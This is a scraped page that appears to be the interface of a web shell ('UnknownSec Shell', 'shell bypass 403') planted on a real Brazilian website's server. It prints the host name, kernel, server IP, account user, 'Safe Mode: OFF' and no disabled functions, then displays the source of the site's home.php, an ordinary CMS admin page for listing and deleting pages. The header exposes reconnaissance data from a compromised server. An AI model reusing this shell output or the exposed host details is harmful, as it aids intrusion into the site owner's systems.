shell bypass 403

UnknownSec Shell

Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.48.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Sep 16 12:22:07 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 172.67.154.186
Your Ip: 216.73.216.19
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:
NONE

name : home.php
<?php
$AdminLevel = LEVEL_WC_PAGES;
if (!APP_PAGES || empty($DashboardLogin) || empty($Admin) || $Admin['user_level'] < $AdminLevel) :
    die('<div style="text-align: center; margin: 5% 0; color: #C54550; font-size: 1.6em; font-weight: 400; background: #fff; float: left; width: 100%; padding: 30px 0;"><b>ACESSO NEGADO:</b> Você não esta logado<br>ou não tem permissão para acessar essa página!</div>');
endif;

// AUTO INSTANCE OBJECT READ
if (empty($Read)) :
    $Read = new Read;
endif;

//AUTO DELETE POST TRASH
if (DB_AUTO_TRASH) :
    $Delete = new Delete;
    $Delete->ExeDelete(DB_PAGES, "WHERE page_title IS NULL AND page_content IS NULL AND page_status = :st", "st=0");

    //AUTO TRASH IMAGES
    $Read->FullRead("SELECT image FROM " . DB_PAGES_IMAGE . " WHERE page_id NOT IN(SELECT page_id FROM " . DB_PAGES . ")");
    if ($Read->getResult()) :
        $Delete->ExeDelete(DB_PAGES_IMAGE, "WHERE id >= :id AND page_id NOT IN(SELECT page_id FROM " . DB_PAGES . ")", "id=1");
        foreach ($Read->getResult() as $ImageRemove) :
            if (file_exists("../uploads/{$ImageRemove['image']}") && !is_dir("../uploads/{$ImageRemove['image']}")) :
                unlink("../uploads/{$ImageRemove['image']}");
            endif;
        endforeach;
    endif;
endif;
?>

<header class="dashboard_header">
    <div class="dashboard_header_title">
        <h1 class="icon-pagebreak">Páginas</h1>
        <p class="dashboard_header_breadcrumbs">
            &raquo; <?= ADMIN_NAME; ?>
            <span class="crumb">/</span>
            <a title="<?= ADMIN_NAME; ?>" href="dashboard.php?wc=home">Dashboard</a>
            <span class="crumb">/</span>
            Páginas
        </p>
    </div>

    <div class="dashboard_header_search">
        <a title="Nova Página" href="dashboard.php?wc=pages/create" class="btn btn_green icon-plus">Adicionar Nova Página!</a>
    </div>

</header>
<div class="dashboard_content">
    <?php
    $getPage = filter_input(INPUT_GET, 'pg', FILTER_VALIDATE_INT);
    $Page = ($getPage ? $getPage : 1);
    $Paginator = new Pager('dashboard.php?wc=pages/home&pg=', '<<', '>>', 5);
    $Paginator->ExePager($Page, 12);

    $Read->ExeRead(DB_PAGES, "ORDER BY page_title ASC LIMIT :limit OFFSET :offset", "limit={$Paginator->getLimit()}&offset={$Paginator->getOffset()}");
    if (!$Read->getResult()) :
        $Paginator->ReturnPage();
        echo Erro("<span class='al_center icon-notification'>Ainda não existem páginas cadastrados {$Admin['user_name']}. Comece agora mesmo criando sua primeira página!</span>", E_USER_NOTICE);
    else :
        foreach ($Read->getResult() as $PAGE) :
            extract($PAGE);
            $page_status = ($page_status == 1 ? '<span class="icon-checkmark font_green">Publicada</span>' : '<span class="icon-warning font_yellow">Rascunho</span>');
            $page_cover = (!empty($page_cover) ? BASE . "/tim.php?src=uploads/{$page_cover}&w=1900&h=295" : BASE . "/tim.php?src=uploads/images/sub-banner.jpg&w=1900&h=295");

            echo "<article class='box box25 page_single wc_draganddrop' callback='Pages' callback_action='pages_order' id='{$page_id}'>
                <a title='Ver página no site' target='_blank' href='" . BASE . "/{$page_name}'><img alt='' title='' src='{$page_cover}'/></a>
                <div class='box_content wc_normalize_height'>
                    <h1 class='title'><a title='Ver página no site' target='_blank' href='" . BASE . "/{$page_name}'>{$page_title}</a></h1>
                    <p>{$page_status}</p>
                </div>
                <div class='page_single_action'>
                    <a title='Editar Página' href='dashboard.php?wc=pages/create&id={$page_id}' class='post_single_center icon-pencil btn btn_blue'>Editar</a>";
            if ($page_id > 20) :
                echo "<span rel='page_single' class='j_delete_action icon-cancel-circle btn btn_red' id='{$page_id}'>Excluir</span>
                    <span rel='page_single' callback='Pages' callback_action='delete' class='j_delete_action_confirm icon-warning btn btn_yellow' style='display: none' id='{$page_id}'>Deletar Página?</span>";
            endif;
            echo "</div>
            </article>";
        endforeach;

        $Paginator->ExePaginator(DB_PAGES);
        echo $Paginator->getPaginator();
    endif;
    ?>
</div>
© 2026 UnknownSec